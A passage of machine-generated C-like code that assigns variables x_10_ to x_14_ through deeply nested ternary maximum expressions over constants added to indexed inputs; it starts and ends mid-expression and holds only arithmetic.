(10.0 + x_15))? ((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) : ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15)))? (((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) > ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))? ((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) : ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))) : (((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) > ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15))? ((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) : ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15)))) > ((((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) > ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))? ((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) : ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))) > (((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) > ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30))? ((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) : ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30)))? (((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) > ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))? ((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) : ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))) : (((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) > ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30))? ((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) : ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30))))? ((((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) > ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))? ((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) : ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))) > (((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) > ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15))? ((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) : ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15)))? (((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) > ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))? ((20.0 + x_0) > (13.0 + x_3)? (20.0 + x_0) : (13.0 + x_3)) : ((3.0 + x_4) > (19.0 + x_5)? (3.0 + x_4) : (19.0 + x_5))) : (((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) > ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15))? ((14.0 + x_6) > (11.0 + x_8)? (14.0 + x_6) : (11.0 + x_8)) : ((7.0 + x_11) > (10.0 + x_15)? (7.0 + x_11) : (10.0 + x_15)))) : ((((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) > ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))? ((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) : ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))) > (((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) > ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30))? ((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) : ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30)))? (((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) > ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))? ((3.0 + x_18) > (18.0 + x_19)? (3.0 + x_18) : (18.0 + x_19)) : ((12.0 + x_21) > (6.0 + x_22)? (12.0 + x_21) : (6.0 + x_22))) : (((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) > ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30))? ((4.0 + x_23) > (5.0 + x_24)? (4.0 + x_23) : (5.0 + x_24)) : ((10.0 + x_26) > (10.0 + x_30)? (10.0 + x_26) : (10.0 + x_30))))); x_10_ = (((((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) > ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))? ((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) : ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))) > (((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) > ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16))? ((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) : ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16)))? (((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) > ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))? ((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) : ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))) : (((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) > ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16))? ((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) : ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16)))) > ((((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) > ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))? ((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) : ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))) > (((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) > ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31))? ((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) : ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31)))? (((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) > ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))? ((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) : ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))) : (((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) > ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31))? ((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) : ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31))))? ((((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) > ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))? ((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) : ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))) > (((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) > ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16))? ((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) : ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16)))? (((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) > ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))? ((18.0 + x_1) > (14.0 + x_6)? (18.0 + x_1) : (14.0 + x_6)) : ((15.0 + x_8) > (11.0 + x_11)? (15.0 + x_8) : (11.0 + x_11))) : (((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) > ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16))? ((7.0 + x_12) > (7.0 + x_13)? (7.0 + x_12) : (7.0 + x_13)) : ((9.0 + x_15) > (17.0 + x_16)? (9.0 + x_15) : (17.0 + x_16)))) : ((((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) > ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))? ((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) : ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))) > (((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) > ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31))? ((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) : ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31)))? (((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) > ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))? ((12.0 + x_19) > (14.0 + x_20)? (12.0 + x_19) : (14.0 + x_20)) : ((20.0 + x_21) > (17.0 + x_23)? (20.0 + x_21) : (17.0 + x_23))) : (((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) > ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31))? ((8.0 + x_24) > (5.0 + x_26)? (8.0 + x_24) : (5.0 + x_26)) : ((13.0 + x_30) > (12.0 + x_31)? (13.0 + x_30) : (12.0 + x_31))))); x_11_ = (((((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) > ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))? ((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) : ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))) > (((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) > ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18))? ((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) : ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18)))? (((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) > ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))? ((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) : ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))) : (((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) > ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18))? ((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) : ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18)))) > ((((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) > ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))? ((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) : ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))) > (((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) > ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30))? ((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) : ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30)))? (((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) > ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))? ((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) : ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))) : (((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) > ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30))? ((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) : ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30))))? ((((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) > ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))? ((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) : ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))) > (((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) > ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18))? ((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) : ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18)))? (((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) > ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))? ((6.0 + x_1) > (16.0 + x_6)? (6.0 + x_1) : (16.0 + x_6)) : ((9.0 + x_10) > (5.0 + x_12)? (9.0 + x_10) : (5.0 + x_12))) : (((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) > ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18))? ((16.0 + x_13) > (9.0 + x_14)? (16.0 + x_13) : (9.0 + x_14)) : ((5.0 + x_16) > (17.0 + x_18)? (5.0 + x_16) : (17.0 + x_18)))) : ((((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) > ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))? ((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) : ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))) > (((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) > ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30))? ((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) : ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30)))? (((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) > ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))? ((13.0 + x_20) > (10.0 + x_21)? (13.0 + x_20) : (10.0 + x_21)) : ((13.0 + x_22) > (9.0 + x_23)? (13.0 + x_22) : (9.0 + x_23))) : (((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) > ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30))? ((13.0 + x_25) > (12.0 + x_27)? (13.0 + x_25) : (12.0 + x_27)) : ((3.0 + x_28) > (8.0 + x_30)? (3.0 + x_28) : (8.0 + x_30))))); x_12_ = (((((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) > ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))? ((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) : ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))) > (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11)))? (((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) > ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))? ((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) : ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))) : (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11)))) > ((((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))? ((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))) > (((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) > ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30))? ((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) : ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30)))? (((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))? ((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))) : (((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) > ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30))? ((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) : ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30))))? ((((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) > ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))? ((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) : ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))) > (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11)))? (((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) > ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))? ((20.0 + x_0) > (5.0 + x_1)? (20.0 + x_0) : (5.0 + x_1)) : ((7.0 + x_3) > (11.0 + x_6)? (7.0 + x_3) : (11.0 + x_6))) : (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((1.0 + x_9) > (5.0 + x_11)? (1.0 + x_9) : (5.0 + x_11)))) : ((((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))? ((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))) > (((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) > ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30))? ((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) : ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30)))? (((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))? ((16.0 + x_14) > (17.0 + x_15)? (16.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (19.0 + x_24)? (20.0 + x_18) : (19.0 + x_24))) : (((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) > ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30))? ((1.0 + x_26) > (15.0 + x_27)? (1.0 + x_26) : (15.0 + x_27)) : ((11.0 + x_29) > (17.0 + x_30)? (11.0 + x_29) : (17.0 + x_30))))); x_13_ = (((((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) > ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))? ((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) : ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))) > (((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) > ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10))? ((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) : ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10)))? (((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) > ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))? ((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) : ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))) : (((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) > ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10))? ((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) : ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10)))) > ((((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) > ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))? ((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) : ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))) > (((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) > ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31))? ((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) : ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31)))? (((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) > ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))? ((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) : ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))) : (((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) > ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31))? ((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) : ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31))))? ((((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) > ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))? ((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) : ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))) > (((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) > ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10))? ((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) : ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10)))? (((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) > ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))? ((4.0 + x_0) > (19.0 + x_2)? (4.0 + x_0) : (19.0 + x_2)) : ((16.0 + x_3) > (6.0 + x_4)? (16.0 + x_3) : (6.0 + x_4))) : (((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) > ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10))? ((18.0 + x_5) > (14.0 + x_6)? (18.0 + x_5) : (14.0 + x_6)) : ((16.0 + x_7) > (14.0 + x_10)? (16.0 + x_7) : (14.0 + x_10)))) : ((((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) > ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))? ((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) : ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))) > (((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) > ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31))? ((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) : ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31)))? (((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) > ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))? ((9.0 + x_14) > (18.0 + x_15)? (9.0 + x_14) : (18.0 + x_15)) : ((18.0 + x_17) > (2.0 + x_23)? (18.0 + x_17) : (2.0 + x_23))) : (((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) > ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31))? ((12.0 + x_24) > (10.0 + x_26)? (12.0 + x_24) : (10.0 + x_26)) : ((20.0 + x_30) > (8.0 + x_31)? (20.0 + x_30) : (8.0 + x_31))))); x_14_ = (((((17.0 + x_0) > (5.0 + x_2)? (17.0 + x_0) : (5.0 + x_2)) > ((20.0 + x_3) > (19.0 + x_5)? (20.0 + x_3) : (19.0 + x_5))? ((17.0 + x_0) > (5.0 + x_2)? (17.0 + x_0) : (5.0 + x_2)) : ((20.0 + x_3) > (19.0 + x_5)? (20.0 + x_3) : (19.0 + x_5))) > (((2.0 + x_7) > (5.0 + x_8)? (2.0 + x_7) : (5.0 + x_8)) > ((4.0 + x_12) > (18.0 + x_13)? (4.0 + x_12) : (18.0 + x_13))? ((2.0 + x_7) > (5.0 + x_8)? (2.0 + x_7) : (5.0 + x_8)) : ((4.0 + x_12) > (18.0 + x_13)? (4.0 + x_12) : (18.0 + x_13)))? (((17.0 + x_0) > (5.0 + x_2)? (17.0 + x_0) : (5.0 + x_2)) > ((20.0 + x_3) > (19.0 + x_5)? (20.0 + x_3) : (19.0 + x_5))? ((17.0 + x_0) > (5.0 + x_2)? (17.0 + x_0) : (5.0 + x_2)) : ((20.0 + x_3) > (19.0 + x_5)? (20.0 + x_3) : (19.0 + x_5))) : (((2.0 + x_7) > 